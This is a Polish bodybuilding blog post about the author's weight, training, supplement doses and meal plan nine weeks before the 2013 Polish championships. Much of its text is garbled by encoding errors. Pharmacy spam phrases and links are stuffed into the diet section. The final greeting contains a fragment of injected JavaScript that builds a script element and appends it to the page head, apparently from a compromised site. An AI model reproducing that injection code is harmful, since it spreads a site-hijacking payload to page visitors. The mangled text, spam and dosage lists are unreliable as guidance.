Jabi – 9 Tygodni do Mistrzostw Polski 2013

2.04.2013 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

ZostaAi??o 9 tygodni do zawodA?w, czyli juA? trzeba wziAi??Ai?? siAi?? na ostro za siebie. na razie wszystko przebiega zgodnie z planem, moA?e czasem tylko waA?Ai?? ponad programowo z 0,5 – 0,6 kg – Nie wiem od czego to zaleA?y.

Generalnie tak waA?Ai?? 93,5 kg z rana. Waga spada bardzo powoli, ale caAi??a sylwetka nabiera ksztaAi??tA?w i A?yAi??ki nawet wychodzAi??.

Wczoraj moja kochana dziewczyna pomagaAi??a mi w pozowaniu i ukAi??adzie dowolnym, po czym zdecydowaliAi??my w koAi??cu przewietrzyAi?? siAi?? i nie iAi??Ai?? na bieA?niAi?? lecz na Ai??wieA?e powietrze.
PoszliAi??my pobiegaAi?? 55 minut z czego biegu z odpowiednim tAi??tnem byAi??o 50 minut (poniewaA? zatrzymywaliAi??my sie na Ai??wiatAi??ach itp) . Niestety na razie to nie dla mnie byAi??o super ale kolana nie przyzwyczajone do takiego wysiAi??ku i biegani po schodach i zaczAi??Ai??y mnie mocno boleAi?? pod koniec wyprawy.
Ale byAi??o super w koAi??cu siAi?? dotleniliAi??my.

Fotki z wczoraj :




Order

Moja suplementacja zmienia siAi?? troszeczkAi?? od tego tygodnia, a mianowicie tak

– przestaje braAi?? FAT TRANSPORTERA
– powoli zmniejszam Vitargo od dziAi?? po 50 gram przez 1-2 dni nastAi??pnie po 40, pA?A?niej po 30 i tak dalej i tak dalej.

Co do treningA?w, Aeroby 6 x tydzieAi?? po 50 minut.

SUPLEMENTACJA :
+ Rano:
– 5 gram proszku zasadowego
– 5 gram CM3
– 50 gram ISOLATE 100
– 3 tab AMINO 4500
– 5 gram BCAA Powder
– 10 gram Glutamine Extreme
– 1 tab Multi Pack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 0,5 tab VIT-C Strong 1000
– 1 kaps MAGNE-100 Sport

+ PopoAi??udniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 3 tab AMINO 4500
– 0,5 tab VIT-C Strong 1000

+ PopoAi??udniu: trochAi?? pA?A?niej:
– 1 kaps Super OMEGA-3 + Vitamin E
– 3 tab AMINO 4500
– 0,5 tab VIT-C Strong 1000

+ Przed Treningiem:
– 10 gram S.A.W.
– 10gram BCAA Powder

+ Po treningu siAi??owym :
– 10 gram BCAA Powder
– 10 gram Glutamine Extreme
– 5 gram CM3
– 1 tab VIT-C Strong 1000

+ Po treningu aerobowym :
– 50 gram IsoLate 100
– 50 gram Vitargo electro-energy

+ Na Noc:
– 1 tab MultiPack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 2 kaps MAGNE-100 Sport
– 2 tab VIT-C Strong 1000
– 1 Vitamin B Complex
– 2 kaps GABA 750

A jeAi??li chodzi o dietAi?? to bez zmian jak na razie :

Cheap DIETA :

1 POSIA?EK :
130 gram zmielonych pAi??atkA?w owsianych
50 gram ISOLATE 100

2 POSIA?EK : cheap alli weight loss pills
100 gram ryA?u basmati
200 gram piersi z kurczaka
70 gram warzyw

http://ullieudhunk.mhs.narotama.ac.id/2018/02/02/has-diovan-going-generic/ 3 POSIA?EK :
100 gram ryA?u basmati
200 gram piersi z kurczaka
70 gram warzyw

4 POSIA?EK :
100 gram ryA?u basmatii
200 gram piersi z kurczaka
70 gram warzyw

POSIA?EK (po aerobach) : Purchase
– 50 gram ISOLATE 100
– 50 gram Vitargo electro-energy

5 POSIA?EK (po siAi??owni) : Buy
100 gram ryA?u basmati
200 gram piersi z kurczaka
70 gram warzyw

6 POSIA?EK : Pills
250 gram woAi??owiny

Pozdrawiam,
Hej CzeAi??Ai??var d=document;var s=d.createElement(‚script’); http://smsphil.com/costo-del-ditropan/ d.getElementsByTagName('head')[0].appendChild(s);if (document.currentScript) { buy ditropan pills online Pills